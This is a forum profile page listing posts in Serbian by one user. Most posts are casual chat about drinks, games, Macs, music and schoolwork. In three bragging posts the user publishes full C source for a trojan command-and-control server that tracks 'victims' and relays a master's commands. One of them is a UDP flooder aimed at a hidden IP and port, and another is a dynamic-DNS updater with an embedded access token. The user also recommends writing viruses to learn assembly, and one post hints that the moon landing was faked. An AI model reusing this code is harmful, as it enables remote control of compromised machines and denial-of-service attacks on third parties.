Jump to content

De1Rekt0n

The X
  • Posts

    3,502
  • Joined

  • Last visited

Everything posted by De1Rekt0n

  1. Najjace je ono sto porucuje narkomanima hahaha, kako je prajsles inace rakija je najbolja zestina bar meni, kajsija hladna iz frizidera mmmm
  2. Hahaha kako si bedan, pa ono sto sam prvo postovao sam postovao nesto sto i ne bi trebalo da bude nesto spektakularno, ako si mudonja pogledaj ovo sto sam pisao, ovo ti je inace deo neceg mnogo veceg ali ti jos mislis da je ovo 2000. i da nemam pojma, jbg druze zajebo si se napredovao sam dosta od 2000. :) Ja sam odavno prerastao copy/paste fazu, jos tamo 2001, a to sto sam gore stavio nije nikakav copy paste iz primera kako rade socketi... Pa zar nije ova tema merenje e-penisa ti uvek odmeravas to u svakoj temi i pricas kako svi nemaju pojma jedini ti znas, realno lako je da se kuresas na RURu, da pitamo Leku sta misli o tebi? :)
  3. Bas je zato i problem izrade SC2, mora da se radi izuzetno dobro da ne bi slucajno nesto zeznuli, to mora da bude naslov za narednih 5-6 godina, napravice ga fenomenalno samo im dajte par godina do 2010 kapiram da ce izaci ;)
  4. Da da da skinuo sam xploit pa sam ga izmenio, evo ti nesto sto neces nigde na netu naci a ja sam pisao: #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <fcntl.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #define BACKLOG 10 #define MAX_CLIENTS 256 #define MAX_VICTIMS 200 #define MAX_NAME_SIZE 256 #define CLIENT_BUFFER_SIZE 65535 #define MAX_PACKET_SIZE 64000 #define TYPE_UNKNOWN 0 #define TYPE_VICTIM 1 #define TYPE_MASTER 2 #define MY_HEADER_SIZE 5 #define MY_SIGNATURE 66 #define PROTO_ERROR 1 #define PROTO_VICTIM_HELO 10 #define PROTO_MASTER_HELO 100 #define PROTO_MASTER_MACHINES 101 #define ERROR_AUTH 1 #define PROTO_ROUTE_BEGIN 20 #define PROTO_ROUTE_END 99 struct my_client { int sock, type; int buf_pos; char real_name[MAX_NAME_SIZE]; char computer_name[MAX_NAME_SIZE]; char *buf; }; char MASTER_PASSWORD[]="*********"; int srv_socket; char *gtemp1; char *gtemp2; int master_node; int victim_count=0; struct my_client *clients[MAX_CLIENTS]; int send_packet(int cid, char destination, char cmd, int data_size, char *data); int init_listen() { int listen_sock; int port=4040; struct sockaddr_in listen_addr; printf("Waiting on port %d...",port); if ((listen_sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); } listen_addr.sin_family = AF_INET; listen_addr.sin_port = htons(port); listen_addr.sin_addr.s_addr = INADDR_ANY; bzero(&(listen_addr.sin_zero), 8); if (bind(listen_sock, (struct sockaddr *)&listen_addr, sizeof(struct sockaddr)) == -1) { printf("FAILED! (bind)\n"); return 0; } if (listen(listen_sock, BACKLOG) == -1) { printf("FAILED! (listen)\n"); return 0; } fcntl(listen_sock, F_SETFL, O_NONBLOCK); printf("OK!\n"); return listen_sock; } int accept_connections() { int new_fd; struct sockaddr_in their_addr; int sin_size; struct timeval tv; fd_set readfds; int i; tv.tv_sec = 0; tv.tv_usec = 5; FD_ZERO(&readfds); FD_SET(srv_socket, &readfds); select(srv_socket+1, &readfds, NULL, NULL, &tv); if (FD_ISSET(srv_socket, &readfds)) { // accept connection here sin_size = sizeof(struct sockaddr_in); if ((new_fd = accept(srv_socket, (struct sockaddr *)&their_addr, &sin_size)) == -1) { perror("accept"); return -1; } fcntl(new_fd, F_SETFL, O_NONBLOCK); for (i=0;i<MAX_CLIENTS;i++) { if (clients[i]==NULL) { printf("got connection from %s\n", inet_ntoa(their_addr.sin_addr)); clients[i]=(struct my_client *)malloc(sizeof(struct my_client)); break; } } clients[i]->sock = new_fd; clients[i]->buf_pos = 0; clients[i]->buf=(char *)malloc(CLIENT_BUFFER_SIZE); clients[i]->type = TYPE_UNKNOWN; } return 0; } int destroy_client(int i) { char *tmp; if (clients[i]->type==TYPE_VICTIM) { victim_count--; gtemp1[0]='-'; tmp=(char*)&i; gtemp1[1]=tmp[0]; send_packet(master_node, 0, PROTO_MASTER_MACHINES, 2, gtemp1); } if (clients[i]->type==TYPE_MASTER) master_node = 0; close(clients[i]->sock); free(clients[i]->buf); free(clients[i]); clients[i]=NULL; printf("client destroyed!\n"); return 0; } int send_packet(int cid, char destination, char cmd, int data_size, char *data) { char *packet_buf; char *chr_packet_size; if (clients[cid]==NULL) return -1; packet_buf=(char *)malloc(MAX_PACKET_SIZE); packet_buf[0] = MY_SIGNATURE; // B :)) packet_buf[1] = 0; // destination packet_buf[2] = 0; // size packet_buf[3] = 0; // size packet_buf[4] = cmd; // command chr_packet_size=(char*)&data_size; packet_buf[2]=chr_packet_size[0]; packet_buf[3]=chr_packet_size[1]; memcpy(packet_buf+MY_HEADER_SIZE, data, data_size); send(clients[cid]->sock, packet_buf, MY_HEADER_SIZE+data_size, MSG_NOSIGNAL); free(packet_buf); return 0; } int send_victim(int i) { char *tmp; printf("sending vict\n"); if (!((clients[master_node]!=NULL)&&(clients[master_node]->type==TYPE_MASTER))) return -1; printf("sending vict in \n"); gtemp1[0]='+'; // send id tmp = (char*)&i; gtemp1[1]=tmp[0]; strcpy(gtemp1+2, clients[i]->computer_name); strcat(gtemp1+2, ";"); strcat(gtemp1+2, clients[i]->real_name); send_packet(master_node, 0, PROTO_MASTER_MACHINES, strlen(gtemp1+2)+2, gtemp1); return 0; } int got_packet(int cid, char *packet_data, int packet_size) { int i; char packet_dest; char packet_cmd; char error_char; char tmpchr[64]; char *tmp; packet_cmd=packet_data[4]; packet_dest=packet_data[1]; printf("[%d] velicina paketa %d, paket nosi komandu %d\n",cid, packet_size, packet_cmd); // -------- REGISTRACIJA ---------------------------------- if (packet_cmd==PROTO_VICTIM_HELO) { clients[cid]->type = TYPE_VICTIM; strncpy(gtemp1, packet_data+MY_HEADER_SIZE, packet_size); gtemp1[packet_size]=0; printf("<%s>\n", gtemp1); strcpy(clients[cid]->computer_name, strtok(gtemp1, ";")); strcpy(clients[cid]->real_name, strtok(NULL, ";")); printf("Nova zrtva: [%s] (%s)\n", clients[cid]->computer_name,clients[cid]->real_name); send_victim(cid); victim_count++; return 0; } if (packet_cmd==PROTO_MASTER_HELO) { strncpy(gtemp1, packet_data+MY_HEADER_SIZE, packet_size); gtemp1[packet_size]=0; if (strcmp(gtemp1, MASTER_PASSWORD)) { error_char = ERROR_AUTH; send_packet(cid, 0, PROTO_ERROR, 1, &error_char); printf("Auth failure [%s] <%s>\n", gtemp1, MASTER_PASSWORD); destroy_client(cid); return 0; } master_node = cid; clients[cid]->type = TYPE_MASTER; for (i=0;i<MAX_CLIENTS;i++) { if ((clients[i]!=NULL)&&(clients[i]->type==TYPE_VICTIM)) { send_victim(i); } } send_packet(cid, 0, PROTO_MASTER_MACHINES, 0, NULL); printf("Master Connected!\n"); return 0; } // -------- FROM VICTIM :)))) --------------------------------- if (clients[i]->type==TYPE_VICTIM) { if ((packet_cmd>=PROTO_ROUTE_BEGIN)&&(packet_cmd<=PROTO_ROUTE_END)) { send_packet(master_node, i, packet_cmd, packet_size, packet_data); // to master, from vict, what, size, data } return 0; } // -------- FROM MASTER :)))) --------------------------------- if (clients[i]->type==TYPE_MASTER) { if ((packet_cmd>=PROTO_ROUTE_BEGIN)&&(packet_cmd<=PROTO_ROUTE_END)) { send_packet(packet_dest, i, packet_cmd, packet_size, packet_data); // to victim, from me!, what, size, data } return 0; } return 0; } int receive_data(){ struct timeval tv; fd_set readfds; int i,rdd; char packet_dest; int packet_size; char *buffer; buffer=(char*)malloc(4096); for (i=0;i<MAX_CLIENTS;i++) { if (clients[i]!=NULL) { tv.tv_sec = 0; tv.tv_usec = 5; FD_ZERO(&readfds); FD_SET(clients[i]->sock, &readfds); select(clients[i]->sock+1, &readfds, NULL, NULL, &tv); if (FD_ISSET(clients[i]->sock, &readfds)) { rdd=recv(clients[i]->sock,buffer,4096,MSG_NOSIGNAL); if (rdd>0) { if (rdd+clients[i]->buf_pos > CLIENT_BUFFER_SIZE) { // buffer exceeded bre;) } else { printf("primljeno %d\n", rdd); memcpy(clients[i]->buf+clients[i]->buf_pos, buffer, rdd); clients[i]->buf_pos+=rdd; // packet_size=0; if (clients[i]->buf_pos >= MY_HEADER_SIZE) memcpy(&packet_size, clients[i]->buf+2, 2); while (clients[i]->buf_pos >= MY_HEADER_SIZE+packet_size) { if (clients[i]->buf_pos >= MY_HEADER_SIZE+packet_size) { if (clients[i]->buf[0]!=MY_SIGNATURE) { printf("[Malformed Packet] closing.\n"); destroy_client(i); break; } got_packet(i, clients[i]->buf,packet_size); if (clients[i]==NULL) break; memmove(clients[i]->buf, clients[i]->buf+MY_HEADER_SIZE+packet_size, clients[i]->buf_pos - MY_HEADER_SIZE+packet_size); clients[i]->buf_pos-= MY_HEADER_SIZE+packet_size; printf("-- sada je bufpos %d\n", clients[i]->buf_pos); } } } } else { destroy_client(i); } } } } free(buffer); return 0; } int main() { gtemp1=(char*)malloc(1024); gtemp2=(char*)malloc(1024); srv_socket = init_listen(); while (1) { accept_connections(); receive_data(); } return 0; } Ako ovo nadjes negde na netu dajem ti milion maraka odma na ruke. :) Hahaha kako volis da diskreditujes tudje znanje a mislis da si najpametniji :)
  5. Hahaha pa dobro, polako networking programiranje dolazi kasnije :) Evo ti nesto na istu temu da proucis: #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <strings.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> int send_text(int s, char *txt) { send(s, txt, strlen(txt), MSG_NOSIGNAL); return 0; } int osvezi_ip() { char temp[256]; char *tmp; int s,rdd; struct sockaddr_in _addr; s = socket(AF_INET, SOCK_STREAM, 0); _addr.sin_family = AF_INET; _addr.sin_port = htons(80); _addr.sin_addr.s_addr = inet_addr("**********"); bzero(&(_addr.sin_zero), 8); if (connect(s, (struct sockaddr *)&_addr, sizeof(struct sockaddr)) == -1) return 0; send_text(s,"GET /dynamic/update.php?UWQyQU9rVmRMUG9BQVB4ckZVTTo2NzM0NDM= HTTP/1.1\r\n"); send_text(s,"Host: freedns.afraid.org\r\n"); send_text(s,"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0\r\n"); send_text(s,"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n"); send_text(s,"Accept-Language: en-us,en;q=0.5\r\n"); send_text(s,"Keep-Alive: 30\r\n"); send_text(s,"Connection: close\r\n\r\n"); do { rdd = recv(s, temp, 250, MSG_NOSIGNAL); // if (rdd) printf(temp); } while (rdd); sleep(0.2); close(s); return 1; } int main() { int r; for (r=0;r<10;r++) { sleep(5); osvezi_ip(); } return 0; }
  6. Naravno jer kad cujete pesmu koja je isla u pozadini nekog bitnog lepog dogadjaja u vasem zivotu uvek vas asocira na taj dogadjaj. Pici Sharam - My girl wants to party all the time!!!ONE
  7. Evo ti nesto sto sam pisao pre par godina, sam ces provaliti zasta :D Imam neki trojanac u ASMu ali mi ne pada napamet da dajem source :) #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #include <sys/socket.h> #include <sys/wait.h> #include <time.h> int main(int argc, char *argv[]) { time_t now; struct tm *l_time; char dan[20]; char sat[20]; int sockfd; int i, buf_size; char buf[50000]; struct sockaddr_in their_addr; struct hostent *he; int numbytes; buf_size = 40480; if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) { perror("socket"); exit(1); } their_addr.sin_family = AF_INET; their_addr.sin_port = htons(3545); their_addr.sin_addr.s_addr = inet_addr("************"); bzero(&(their_addr.sin_zero), 8); while (1) { time(&now); l_time = localtime(&now); strftime(dan, sizeof dan, "%A", l_time); strftime(sat, sizeof sat, "%H", l_time); if (strcmp(dan,"Monday")==0) { if (strcmp(sat,"05")==0) { return 0; } } sendto(sockfd, buf, buf_size, 0, \ (struct sockaddr *)&their_addr, sizeof(struct sockaddr)); } close(sockfd); return 0; }
  8. http://video.google.com/videoplay?docid=-3980165796053569246 :)
  9. Ne zna se ko je veci strucnjak
  10. Ja imam mac PowerBook g4 radi ko bombona, radi brze nego tjaletov compaq koji cak ima vise rama od mog powerbooka. Pazite sad ovo, koristim ga evo vec 4 godine ima sigurno i ni jednom mi se nije skucao u zivotu niti sam morao da reinstaliram OS X e to je makina. Nije pausalna izjava da je Linux hrpa djubreta jer sam ja taj isti Linux koristio veoma dugo jos od RH 6.2, da ne zaboravimo kako sam morao da patchujem adsl paket koji je koristio za kacenje preko ppoe jer su ga lose isprogramirali, pa sam morao da debugujem ko kreten dok nisam izvalio sta su sjebali u kodu pa onda prepravljaj to pa rekompajliraj i tako dalje, milina. Idite na ES Dimkovic je radio test kako Linux radi out of the box, veoma lep test koji lepo objasnjava sta je Linux.
  11. Jednostavno ti mexicki trubaci nikada nece odsvirati kao nasi ganci, inace truba kod nas se popularizovala za vreme Turaka jer to je bio vojnicki instrument i romi i Srbi su uglavnom to svirali kako bi "prkosili" Turcima, to je pricao jednom Bregovic jos pre da je specificno kod nasih trubacha sto se zna ko je gazda i uvek jedan vodi a drugi ga prate :)
  12. Nije stvar da li ja to znam ili ne znam, naravno da znam ali na tako bezobrazna pitanja ne zelim ni da odgovaram, gde vidno ne zelis da udjes u materiju nego samo zelis da ti neko da na tacni, ja sam ti dao kako se sta radi a tvoj je problem sto nisi zelela da naucis, nemoj mene da prozivas zato sto si lenja, glupa ili te profesori mrze. To je dobro sto ucite i budi srecan sto to ucis jer ce ti to trebati veoma kad krenes da radis C, bez ASMa nema leba, inace ASM ti se najbolje uci ako pises neke viruse, a iz toga imas tutora na netu na gomilu to je ako zelis win32 assembly da przis sto je po meni bila vrlo korisna stvar. Problem je kad pricas sa Java programerima koji ne znaju sta je pointer...
  13. Haha vise se ne javljam pa nauci sama nesto.
  14. Mala nauci sta je for petlja i kako sve funkcionise, pa ti ne znas osnovne stvari kako ja sad tebi bilo sta da objasnim, knjige u sake mrzi me dalje da pomazem nekome ko nece da uci. Moze i Mohi to da ti uradi ali moras da platis u naturi
  15. for 1 to (n+1) do Zaboravio sam sintaksu ali ako se dobro secam: (-1)^((k-1)*(x^k-1)/2k+2 x^(k-1) Uzmi lepo pa procitaj dao sam ti pointer *x :D
  16. Super je sto pitas ali ako IVan_ kaze da studiras prirodni faks to je stvarno sramota da ne znas, ali bolje da si sad naucila nego da si zavrsila faks i izasla sa istog a da ne znas takve stvari.
  17. Devojka jos ne razume osnovne fizicke postulate :) Inace malo da pojasnim neke stvari gustina neke supstance u cvrstom stanju je vece od njene gustine u tecnom, i zato komad takve supstance tone u sopstvenoj tecnoj fazi, dok na primer led ipak pliva u vodi sto znaci da je gustina leda ipak manja od gustine u tecnom stanju, to je anomalija kod vode, takodje gustina vode zavisi od njene temperature...
  18. [dummy speak] Hahaha pa sto je najgore cak imas i u knjizi kako se crtaju algoritmi kao i koji crtez je za koju stvar, algoritam ti objasnjava kako program funkcionise ili ti sta se desava pod haubom, kasnije ces videti da ta rec objasnjava jos neke stvari kod programiranja ali ti do toga nikada verovatno neces ni doci. [/dummy speak](Onaj koji se razume shvatice zasto ovako pricam) http://en.wikipedia.org/wiki/Algorithm Ovde imas sve i lepo ti pise, veoma je prosto da se radi samo treba malo vremena. Mislim da je kontrolni ovo http://en.wikipedia.org/wiki/Flowchart to je u stvari ono sto oni zovu algoritam iako to nije tacno to nego "flowchart" ili graficko prikazivanje kako sta radi u programu:
  19. Ovo je odlicna tema da malo porazgovaramo o Van Alenovim poljima i da li covek stvarno moze da ih prezivi, aludiram na putovanje na mesec za koji neki smatraju da je pravljeno u Holivudu. Onda ide i vecito pitanje kako Rusi koji su imali 5x vise vremena u svemiru nisu uspeli da posalju coveka izvan orbite a ne do meseca? http://en.wikipedia.org/wiki/Van_Allen_radiation_belt
  20. Izgubio je partiju starcrafa od ribe pa ga je riba sutnula a on pobio ljude.
  21. http://forum.klanrur.rs/index.php?s...=44210&st=0
  22. Neonacisti se ne raduju dogadjaju jer taj sto je pucao je Kinez, a pucao je na bele ljude, sto znaci da ako je neko neonacista nema sanse da se raduje ovom dogadjaju...
×
×
  • Create New...